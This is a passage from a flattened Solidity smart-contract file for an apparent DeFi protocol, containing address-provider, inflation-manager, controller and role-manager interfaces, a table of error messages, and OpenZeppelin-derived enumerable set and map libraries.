1 << 1 : 0; return value; } } // File interfaces/IAddressProvider.sol pragma solidity 0.8.9; // solhint-disable ordering interface IAddressProvider is IPreparable { event KnownAddressKeyAdded(bytes32 indexed key); event StakerVaultListed(address indexed stakerVault); event StakerVaultDelisted(address indexed stakerVault); event ActionListed(address indexed action); event PoolListed(address indexed pool); event PoolDelisted(address indexed pool); event VaultUpdated(address indexed previousVault, address indexed newVault); /** Key functions */ function getKnownAddressKeys() external view returns (bytes32[] memory); function freezeAddress(bytes32 key) external; /** Pool functions */ function allPools() external view returns (address[] memory); function addPool(address pool) external; function poolsCount() external view returns (uint256); function getPoolAtIndex(uint256 index) external view returns (address); function isPool(address pool) external view returns (bool); function removePool(address pool) external returns (bool); function getPoolForToken(address token) external view returns (ILiquidityPool); function safeGetPoolForToken(address token) external view returns (address); /** Vault functions */ function updateVault(address previousVault, address newVault) external; function allVaults() external view returns (address[] memory); function vaultsCount() external view returns (uint256); function getVaultAtIndex(uint256 index) external view returns (address); function isVault(address vault) external view returns (bool); /** Action functions */ function allActions() external view returns (address[] memory); function addAction(address action) external returns (bool); function isAction(address action) external view returns (bool); /** Address functions */ function initializeAddress( bytes32 key, address initialAddress, bool frezable ) external; function initializeAndFreezeAddress(bytes32 key, address initialAddress) external; function getAddress(bytes32 key) external view returns (address); function getAddress(bytes32 key, bool checkExists) external view returns (address); function getAddressMeta(bytes32 key) external view returns (AddressProviderMeta.Meta memory); function prepareAddress(bytes32 key, address newAddress) external returns (bool); function executeAddress(bytes32 key) external returns (address); function resetAddress(bytes32 key) external returns (bool); /** Staker vault functions */ function allStakerVaults() external view returns (address[] memory); function tryGetStakerVault(address token) external view returns (bool, address); function getStakerVault(address token) external view returns (address); function addStakerVault(address stakerVault) external returns (bool); function isStakerVault(address stakerVault, address token) external view returns (bool); function isStakerVaultRegistered(address stakerVault) external view returns (bool); function isWhiteListedFeeHandler(address feeHandler) external view returns (bool); } // File interfaces/tokenomics/IInflationManager.sol pragma solidity 0.8.9; interface IInflationManager { event KeeperGaugeListed(address indexed pool, address indexed keeperGauge); event AmmGaugeListed(address indexed token, address indexed ammGauge); event KeeperGaugeDelisted(address indexed pool, address indexed keeperGauge); event AmmGaugeDelisted(address indexed token, address indexed ammGauge); /** Pool functions */ function setKeeperGauge(address pool, address _keeperGauge) external returns (bool); function setAmmGauge(address token, address _ammGauge) external returns (bool); function getAllAmmGauges() external view returns (address[] memory); function getLpRateForStakerVault(address stakerVault) external view returns (uint256); function getKeeperRateForPool(address pool) external view returns (uint256); function getAmmRateForToken(address token) external view returns (uint256); function getKeeperWeightForPool(address pool) external view returns (uint256); function getAmmWeightForToken(address pool) external view returns (uint256); function getLpPoolWeight(address pool) external view returns (uint256); function getKeeperGaugeForPool(address pool) external view returns (address); function getAmmGaugeForToken(address token) external view returns (address); function isInflationWeightManager(address account) external view returns (bool); function removeStakerVaultFromInflation(address stakerVault, address lpToken) external; function addGaugeForVault(address lpToken) external returns (bool); function whitelistGauge(address gauge) external; function checkpointAllGauges() external returns (bool); function mintRewards(address beneficiary, uint256 amount) external; function addStrategyToDepositStakerVault(address depositStakerVault, address strategyPool) external returns (bool); /** Weight setter functions **/ function prepareLpPoolWeight(address lpToken, uint256 newPoolWeight) external returns (bool); function prepareAmmTokenWeight(address token, uint256 newTokenWeight) external returns (bool); function prepareKeeperPoolWeight(address pool, uint256 newPoolWeight) external returns (bool); function executeLpPoolWeight(address lpToken) external returns (uint256); function executeAmmTokenWeight(address token) external returns (uint256); function executeKeeperPoolWeight(address pool) external returns (uint256); function batchPrepareLpPoolWeights(address[] calldata lpTokens, uint256[] calldata weights) external returns (bool); function batchPrepareAmmTokenWeights(address[] calldata tokens, uint256[] calldata weights) external returns (bool); function batchPrepareKeeperPoolWeights(address[] calldata pools, uint256[] calldata weights) external returns (bool); function batchExecuteLpPoolWeights(address[] calldata lpTokens) external returns (bool); function batchExecuteAmmTokenWeights(address[] calldata tokens) external returns (bool); function batchExecuteKeeperPoolWeights(address[] calldata pools) external returns (bool); } // File interfaces/IController.sol pragma solidity 0.8.9; // solhint-disable ordering interface IController is IPreparable { function addressProvider() external view returns (IAddressProvider); function inflationManager() external view returns (IInflationManager); function addStakerVault(address stakerVault) external returns (bool); function removePool(address pool) external returns (bool); /** Keeper functions */ function prepareKeeperRequiredStakedBKD(uint256 amount) external; function executeKeeperRequiredStakedBKD() external; function getKeeperRequiredStakedBKD() external view returns (uint256); function canKeeperExecuteAction(address keeper) external view returns (bool); /** Miscellaneous functions */ function getTotalEthRequiredForGas(address payer) external view returns (uint256); } // File libraries/ScaledMath.sol pragma solidity 0.8.9; /* * @dev To use functions of this contract, at least one of the numbers must * be scaled to `DECIMAL_SCALE`. The result will scaled to `DECIMAL_SCALE` * if both numbers are scaled to `DECIMAL_SCALE`, otherwise to the scale * of the number not scaled by `DECIMAL_SCALE` */ library ScaledMath { // solhint-disable-next-line private-vars-leading-underscore uint256 internal constant DECIMAL_SCALE = 1e18; // solhint-disable-next-line private-vars-leading-underscore uint256 internal constant ONE = 1e18; /** * @notice Performs a multiplication between two scaled numbers */ function scaledMul(uint256 a, uint256 b) internal pure returns (uint256) { return (a * b) / DECIMAL_SCALE; } /** * @notice Performs a division between two scaled numbers */ function scaledDiv(uint256 a, uint256 b) internal pure returns (uint256) { return (a * DECIMAL_SCALE) / b; } /** * @notice Performs a division between two numbers, rounding up the result */ function scaledDivRoundUp(uint256 a, uint256 b) internal pure returns (uint256) { return (a * DECIMAL_SCALE + b - 1) / b; } /** * @notice Performs a division between two numbers, ignoring any scaling and rounding up the result */ function divRoundUp(uint256 a, uint256 b) internal pure returns (uint256) { return (a + b - 1) / b; } } // File libraries/Errors.sol pragma solidity 0.8.9; // solhint-disable private-vars-leading-underscore library Error { string internal constant ADDRESS_WHITELISTED = "address already whitelisted"; string internal constant ADMIN_ALREADY_SET = "admin has already been set once"; string internal constant ADDRESS_NOT_WHITELISTED = "address not whitelisted"; string internal constant ADDRESS_NOT_FOUND = "address not found"; string internal constant CONTRACT_INITIALIZED = "contract can only be initialized once"; string internal constant CONTRACT_PAUSED = "contract is paused"; string internal constant INVALID_AMOUNT = "invalid amount"; string internal constant INVALID_INDEX = "invalid index"; string internal constant INVALID_VALUE = "invalid msg.value"; string internal constant INVALID_SENDER = "invalid msg.sender"; string internal constant INVALID_TOKEN = "token address does not match pool's LP token address"; string internal constant INVALID_DECIMALS = "incorrect number of decimals"; string internal constant INVALID_ARGUMENT = "invalid argument"; string internal constant INVALID_PARAMETER_VALUE = "invalid parameter value attempted"; string internal constant INVALID_IMPLEMENTATION = "invalid pool implementation for given coin"; string internal constant INVALID_POOL_IMPLEMENTATION = "invalid pool implementation for given coin"; string internal constant INVALID_LP_TOKEN_IMPLEMENTATION = "invalid LP Token implementation for given coin"; string internal constant INVALID_VAULT_IMPLEMENTATION = "invalid vault implementation for given coin"; string internal constant INVALID_STAKER_VAULT_IMPLEMENTATION = "invalid stakerVault implementation for given coin"; string internal constant INSUFFICIENT_BALANCE = "insufficient balance"; string internal constant ADDRESS_ALREADY_SET = "Address is already set"; string internal constant INSUFFICIENT_STRATEGY_BALANCE = "insufficient strategy balance"; string internal constant INSUFFICIENT_FUNDS_RECEIVED = "insufficient funds received"; string internal constant ADDRESS_DOES_NOT_EXIST = "address does not exist"; string internal constant ADDRESS_FROZEN = "address is frozen"; string internal constant ROLE_EXISTS = "role already exists"; string internal constant CANNOT_REVOKE_ROLE = "cannot revoke role"; string internal constant UNAUTHORIZED_ACCESS = "unauthorized access"; string internal constant SAME_ADDRESS_NOT_ALLOWED = "same address not allowed"; string internal constant SELF_TRANSFER_NOT_ALLOWED = "self-transfer not allowed"; string internal constant ZERO_ADDRESS_NOT_ALLOWED = "zero address not allowed"; string internal constant ZERO_TRANSFER_NOT_ALLOWED = "zero transfer not allowed"; string internal constant THRESHOLD_TOO_HIGH = "threshold is too high, must be under 10"; string internal constant INSUFFICIENT_THRESHOLD = "insufficient threshold"; string internal constant NO_POSITION_EXISTS = "no position exists"; string internal constant POSITION_ALREADY_EXISTS = "position already exists"; string internal constant PROTOCOL_NOT_FOUND = "protocol not found"; string internal constant TOP_UP_FAILED = "top up failed"; string internal constant SWAP_PATH_NOT_FOUND = "swap path not found"; string internal constant UNDERLYING_NOT_SUPPORTED = "underlying token not supported"; string internal constant NOT_ENOUGH_FUNDS_WITHDRAWN = "not enough funds were withdrawn from the pool"; string internal constant FAILED_TRANSFER = "transfer failed"; string internal constant FAILED_MINT = "mint failed"; string internal constant FAILED_REPAY_BORROW = "repay borrow failed"; string internal constant FAILED_METHOD_CALL = "method call failed"; string internal constant NOTHING_TO_CLAIM = "there is no claimable balance"; string internal constant ERC20_BALANCE_EXCEEDED = "ERC20: transfer amount exceeds balance"; string internal constant INVALID_MINTER = "the minter address of the LP token and the pool address do not match"; string internal constant STAKER_VAULT_EXISTS = "a staker vault already exists for the token"; string internal constant DEADLINE_NOT_ZERO = "deadline must be 0"; string internal constant DEADLINE_NOT_SET = "deadline is 0"; string internal constant DEADLINE_NOT_REACHED = "deadline has not been reached yet"; string internal constant DELAY_TOO_SHORT = "delay be at least 3 days"; string internal constant INSUFFICIENT_UPDATE_BALANCE = "insufficient funds for updating the position"; string internal constant SAME_AS_CURRENT = "value must be different to existing value"; string internal constant NOT_CAPPED = "the pool is not currently capped"; string internal constant ALREADY_CAPPED = "the pool is already capped"; string internal constant EXCEEDS_DEPOSIT_CAP = "deposit exceeds deposit cap"; string internal constant VALUE_TOO_LOW_FOR_GAS = "value too low to cover gas"; string internal constant NOT_ENOUGH_FUNDS = "not enough funds to withdraw"; string internal constant ESTIMATED_GAS_TOO_HIGH = "too much ETH will be used for gas"; string internal constant DEPOSIT_FAILED = "deposit failed"; string internal constant GAS_TOO_HIGH = "too much ETH used for gas"; string internal constant GAS_BANK_BALANCE_TOO_LOW = "not enough ETH in gas bank to cover gas"; string internal constant INVALID_TOKEN_TO_ADD = "Invalid token to add"; string internal constant INVALID_TOKEN_TO_REMOVE = "token can not be removed"; string internal constant TIME_DELAY_NOT_EXPIRED = "time delay not expired yet"; string internal constant UNDERLYING_NOT_WITHDRAWABLE = "pool does not support additional underlying coins to be withdrawn"; string internal constant STRATEGY_SHUT_DOWN = "Strategy is shut down"; string internal constant STRATEGY_DOES_NOT_EXIST = "Strategy does not exist"; string internal constant UNSUPPORTED_UNDERLYING = "Underlying not supported"; string internal constant NO_DEX_SET = "no dex has been set for token"; string internal constant INVALID_TOKEN_PAIR = "invalid token pair"; string internal constant TOKEN_NOT_USABLE = "token not usable for the specific action"; string internal constant ADDRESS_NOT_ACTION = "address is not registered action"; string internal constant INVALID_SLIPPAGE_TOLERANCE = "Invalid slippage tolerance"; string internal constant POOL_NOT_PAUSED = "Pool must be paused to withdraw from reserve"; string internal constant INTERACTION_LIMIT = "Max of one deposit and withdraw per block"; string internal constant GAUGE_EXISTS = "Gauge already exists"; string internal constant GAUGE_DOES_NOT_EXIST = "Gauge does not exist"; string internal constant EXCEEDS_MAX_BOOST = "Not allowed to exceed maximum boost on Convex"; string internal constant PREPARED_WITHDRAWAL = "Cannot relock funds when withdrawal is being prepared"; string internal constant ASSET_NOT_SUPPORTED = "Asset not supported"; string internal constant STALE_PRICE = "Price is stale"; string internal constant NEGATIVE_PRICE = "Price is negative"; string internal constant NOT_ENOUGH_BKD_STAKED = "Not enough BKD tokens staked"; string internal constant RESERVE_ACCESS_EXCEEDED = "Reserve access exceeded"; } // File @openzeppelin/contracts/utils/structs/[email protected] // OpenZeppelin Contracts v4.4.1 (utils/structs/EnumerableSet.sol) pragma solidity ^0.8.0; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`) * and `uint256` (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping(bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; if (lastIndex != toDeleteIndex) { bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = valueIndex; // Replace lastvalue's index to valueIndex } // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { return set._values[index]; } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function _values(Set storage set) private view returns (bytes32[] memory) { return set._values; } // Bytes32Set struct Bytes32Set { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } /** * @dev Returns the number of values in the set. O(1). */ function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function values(Bytes32Set storage set) internal view returns (bytes32[] memory) { return _values(set._inner); } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint160(uint256(_at(set._inner, index)))); } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function values(AddressSet storage set) internal view returns (address[] memory) { bytes32[] memory store = _values(set._inner); address[] memory result; assembly { result := store } return result; } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function values(UintSet storage set) internal view returns (uint256[] memory) { bytes32[] memory store = _values(set._inner); uint256[] memory result; assembly { result := store } return result; } } // File libraries/EnumerableMapping.sol pragma solidity 0.8.9; library EnumerableMapping { using EnumerableSet for EnumerableSet.Bytes32Set; // Code take from contracts/utils/structs/EnumerableMap.sol // because the helper functions are private // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Map type with // bytes32 keys and values. // The Map implementation uses private functions, and user-facing // implementations (such as Uint256ToAddressMap) are just wrappers around // the underlying Map. // This means that we can only create new EnumerableMaps for types that fit // in bytes32. struct Map { // Storage of keys EnumerableSet.Bytes32Set _keys; mapping(bytes32 => bytes32) _values; } /** * @dev Adds a key-value pair to a map, or updates the value for an existing * key. O(1). * * Returns true if the key was added to the map, that is if it was not * already present. */ function _set( Map storage map, bytes32 key, bytes32 value ) private returns (bool) { map._values[key] = value; return map._keys.add(key); } /** * @dev Removes a key-value pair from a map. O(1). * * Returns true if the key was removed from the map, that is if it was present. */ function _remove(Map storage map, bytes32 key) private returns (bool) { delete map._values[key]; return map._keys.remove(key); } /** * @dev Returns true if the key is in the map. O(1). */ function _contains(Map storage map, bytes32 key) private view returns (bool) { return map._keys.contains(key); } /** * @dev Returns the number of key-value pairs in the map. O(1). */ function _length(Map storage map) private view returns (uint256) { return map._keys.length(); } /** * @dev Returns the key-value pair stored at position `index` in the map. O(1). * * Note that there are no guarantees on the ordering of entries inside the * array, and it may change when more entries are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Map storage map, uint256 index) private view returns (bytes32, bytes32) { bytes32 key = map._keys.at(index); return (key, map._values[key]); } /** * @dev Tries to returns the value associated with `key`. O(1). * Does not revert if `key` is not in the map. */ function _tryGet(Map storage map, bytes32 key) private view returns (bool, bytes32) { bytes32 value = map._values[key]; if (value == bytes32(0)) { return (_contains(map, key), bytes32(0)); } else { return (true, value); } } /** * @dev Returns the value associated with `key`. O(1). * * Requirements: * * - `key` must be in the map. */ function _get(Map storage map, bytes32 key) private view returns (bytes32) { bytes32 value = map._values[key]; require(value != 0 || _contains(map, key), "EnumerableMap: nonexistent key"); return value; } // AddressToAddressMap struct AddressToAddressMap { Map _inner; } /** * @dev Adds a key-value pair to a map, or updates the value for an existing * key. O(1). * * Returns true if the key was added to the map, that is if it was not * already present. */ function set( AddressToAddressMap storage map, address key, address value ) internal returns (bool) { return _set(map._inner, bytes32(uint256(uint160(key))), bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the key was removed from the map, that is if it was present. */ function remove(AddressToAddressMap storage map, address key) internal returns (bool) { return _remove(map._inner, bytes32(uint256(uint160(key)))); } /** * @dev Returns true if the key is in the map. O(1). */ function contains(AddressToAddressMap storage map, address key) internal view returns (bool) { return _contains(map._inner, bytes32(uint256(uint160(key)))); } /** * @dev Returns the number of elements in the map. O(1). */ function length(AddressToAddressMap storage map) internal view returns (uint256) { return _length(map._inner); } /** * @dev Returns the element stored at position `index` in the set. O(1). * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressToAddressMap storage map, uint256 index) internal view returns (address, address) { (bytes32 key, bytes32 value) = _at(map._inner, index); return (address(uint160(uint256(key))), address(uint160(uint256(value)))); } /** * @dev Tries to returns the value associated with `key`. O(1). * Does not revert if `key` is not in the map. * * _Available since v3.4._ */ function tryGet(AddressToAddressMap storage map, address key) internal view returns (bool, address) { (bool success, bytes32 value) = _tryGet(map._inner, bytes32(uint256(uint160(key)))); return (success, address(uint160(uint256(value)))); } /** * @dev Returns the value associated with `key`. O(1). * * Requirements: * * - `key` must be in the map. */ function get(AddressToAddressMap storage map, address key) internal view returns (address) { return address(uint160(uint256(_get(map._inner, bytes32(uint256(uint160(key))))))); } // AddressToUintMap struct AddressToUintMap { Map _inner; } /** * @dev Adds a key-value pair to a map, or updates the value for an existing * key. O(1). * * Returns true if the key was added to the map, that is if it was not * already present. */ function set( AddressToUintMap storage map, address key, uint256 value ) internal returns (bool) { return _set(map._inner, bytes32(uint256(uint160(key))), bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the key was removed from the map, that is if it was present. */ function remove(AddressToUintMap storage map, address key) internal returns (bool) { return _remove(map._inner, bytes32(uint256(uint160(key)))); } /** * @dev Returns true if the key is in the map. O(1). */ function contains(AddressToUintMap storage map, address key) internal view returns (bool) { return _contains(map._inner, bytes32(uint256(uint160(key)))); } /** * @dev Returns the number of elements in the map. O(1). */ function length(AddressToUintMap storage map) internal view returns (uint256) { return _length(map._inner); } /** * @dev Returns the element stored at position `index` in the set. O(1). * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressToUintMap storage map, uint256 index) internal view returns (address, uint256) { (bytes32 key, bytes32 value) = _at(map._inner, index); return (address(uint160(uint256(key))), uint256(value)); } /** * @dev Tries to returns the value associated with `key`. O(1). * Does not revert if `key` is not in the map. * * _Available since v3.4._ */ function tryGet(AddressToUintMap storage map, address key) internal view returns (bool, uint256) { (bool success, bytes32 value) = _tryGet(map._inner, bytes32(uint256(uint160(key)))); return (success, uint256(value)); } /** * @dev Returns the value associated with `key`. O(1). * * Requirements: * * - `key` must be in the map. */ function get(AddressToUintMap storage map, address key) internal view returns (uint256) { return uint256(_get(map._inner, bytes32(uint256(uint160(key))))); } // Bytes32ToUIntMap struct Bytes32ToUIntMap { Map _inner; } /** * @dev Adds a key-value pair to a map, or updates the value for an existing * key. O(1). * * Returns true if the key was added to the map, that is if it was not * already present. */ function set( Bytes32ToUIntMap storage map, bytes32 key, uint256 value ) internal returns (bool) { return _set(map._inner, key, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the key was removed from the map, that is if it was present. */ function remove(Bytes32ToUIntMap storage map, bytes32 key) internal returns (bool) { return _remove(map._inner, key); } /** * @dev Returns true if the key is in the map. O(1). */ function contains(Bytes32ToUIntMap storage map, bytes32 key) internal view returns (bool) { return _contains(map._inner, key); } /** * @dev Returns the number of elements in the map. O(1). */ function length(Bytes32ToUIntMap storage map) internal view returns (uint256) { return _length(map._inner); } /** * @dev Returns the element stored at position `index` in the set. O(1). * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(Bytes32ToUIntMap storage map, uint256 index) internal view returns (bytes32, uint256) { (bytes32 key, bytes32 value) = _at(map._inner, index); return (key, uint256(value)); } /** * @dev Tries to returns the value associated with `key`. O(1). * Does not revert if `key` is not in the map. * * _Available since v3.4._ */ function tryGet(Bytes32ToUIntMap storage map, bytes32 key) internal view returns (bool, uint256) { (bool success, bytes32 value) = _tryGet(map._inner, key); return (success, uint256(value)); } /** * @dev Returns the value associated with `key`. O(1). * * Requirements: * * - `key` must be in the map. */ function get(Bytes32ToUIntMap storage map, bytes32 key) internal view returns (uint256) { return uint256(_get(map._inner, key)); } } // File libraries/EnumerableExtensions.sol pragma solidity 0.8.9; library EnumerableExtensions { using EnumerableSet for EnumerableSet.AddressSet; using EnumerableSet for EnumerableSet.Bytes32Set; using EnumerableMapping for EnumerableMapping.AddressToAddressMap; using EnumerableMapping for EnumerableMapping.AddressToUintMap; using EnumerableMapping for EnumerableMapping.Bytes32ToUIntMap; function toArray(EnumerableSet.AddressSet storage addresses) internal view returns (address[] memory) { uint256 len = addresses.length(); address[] memory result = new address[](len); for (uint256 i = 0; i < len; i++) { result[i] = addresses.at(i); } return result; } function toArray(EnumerableSet.Bytes32Set storage values) internal view returns (bytes32[] memory) { uint256 len = values.length(); bytes32[] memory result = new bytes32[](len); for (uint256 i = 0; i < len; i++) { result[i] = values.at(i); } return result; } function keyAt(EnumerableMapping.AddressToAddressMap storage map, uint256 index) internal view returns (address) { (address key, ) = map.at(index); return key; } function valueAt(EnumerableMapping.AddressToAddressMap storage map, uint256 index) internal view returns (address) { (, address value) = map.at(index); return value; } function keyAt(EnumerableMapping.AddressToUintMap storage map, uint256 index) internal view returns (address) { (address key, ) = map.at(index); return key; } function keyAt(EnumerableMapping.Bytes32ToUIntMap storage map, uint256 index) internal view returns (bytes32) { (bytes32 key, ) = map.at(index); return key; } function valueAt(EnumerableMapping.AddressToUintMap storage map, uint256 index) internal view returns (uint256) { (, uint256 value) = map.at(index); return value; } function keysArray(EnumerableMapping.AddressToAddressMap storage map) internal view returns (address[] memory) { uint256 len = map.length(); address[] memory result = new address[](len); for (uint256 i = 0; i < len; i++) { result[i] = keyAt(map, i); } return result; } function valuesArray(EnumerableMapping.AddressToAddressMap storage map) internal view returns (address[] memory) { uint256 len = map.length(); address[] memory result = new address[](len); for (uint256 i = 0; i < len; i++) { result[i] = valueAt(map, i); } return result; } function keysArray(EnumerableMapping.AddressToUintMap storage map) internal view returns (address[] memory) { uint256 len = map.length(); address[] memory result = new address[](len); for (uint256 i = 0; i < len; i++) { result[i] = keyAt(map, i); } return result; } function keysArray(EnumerableMapping.Bytes32ToUIntMap storage map) internal view returns (bytes32[] memory) { uint256 len = map.length(); bytes32[] memory result = new bytes32[](len); for (uint256 i = 0; i < len; i++) { result[i] = keyAt(map, i); } return result; } } // File interfaces/IRoleManager.sol pragma solidity 0.8.9; interface IRoleManager { event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); function grantRole(bytes32 role, address account) external; function revokeRole(bytes32 role, address account) external; function hasRole(bytes32 role, address account) external view returns (bool); function hasAnyRole(bytes32[] memory roles, address account) external view returns (bool); function hasAnyRole( bytes32 role1, bytes32 role2, address account ) external view returns (bool); function hasAnyRole( bytes32 role1, bytes32 role2, bytes32 role3, address account ) external view returns (bool); function getRoleMemberCount(bytes32 role) external view returns (uint256); function getRoleMember(bytes32 role, uint256 index) external view returns (address); } // File interfaces/tokenomics/IBkdToken.sol pragma solidity 0.8.9; interface IBkdToken is IERC20 { function mint(address account, uint256 amount) external; } // File libraries/AddressProviderKeys.sol pragma solidity 0.8.9; library AddressProviderKeys { bytes32 internal constant _TREASURY_KEY = "treasury"; bytes32 internal constant _GAS_BANK_KEY = "gasBank"; bytes32 internal constant _VAULT_RESERVE_KEY = "vaultReserve"; bytes32 internal constant _SWAPPER_REGISTRY_KEY = "swapperRegistry"; bytes32 internal constant _ORACLE_PROVIDER_KEY = "oracleProvider"; bytes32 internal constant _POOL_FACTORY_KEY = "poolFactory"; bytes32 internal constant _CONTROLLER_KEY = "controller"; bytes32 internal constant _BKD_LOCKER_KEY = "bkdLocker"; bytes32 internal constant _ROLE_MANAGER_KEY = "roleManager"; } // File libraries/AddressProviderHelpers.sol pragma solidity 0.8.9; library AddressProviderHelpers { /** * @return The address of the treasury. */ function getTreasury(IAddressProvider provider) internal view returns (address) { return provider.getAddress(AddressProviderKeys._TREASURY_KEY); } /** * @return The gas bank. */ function getGasBank(IAddressProvider provider) internal view returns (IGasBank) { return IGasBank(provider.getAddress(AddressProviderKeys._GAS_BANK_KEY)); } /** * @return The address of the vault reserve. */ function getVaultReserve(IAddressProvider provider) internal view returns (IVaultReserve) { return IVaultReserve(provider.getAddress(AddressProviderKeys._VAULT_RESERVE_KEY)); } /** * @return The address of the swapperRegistry. */ function 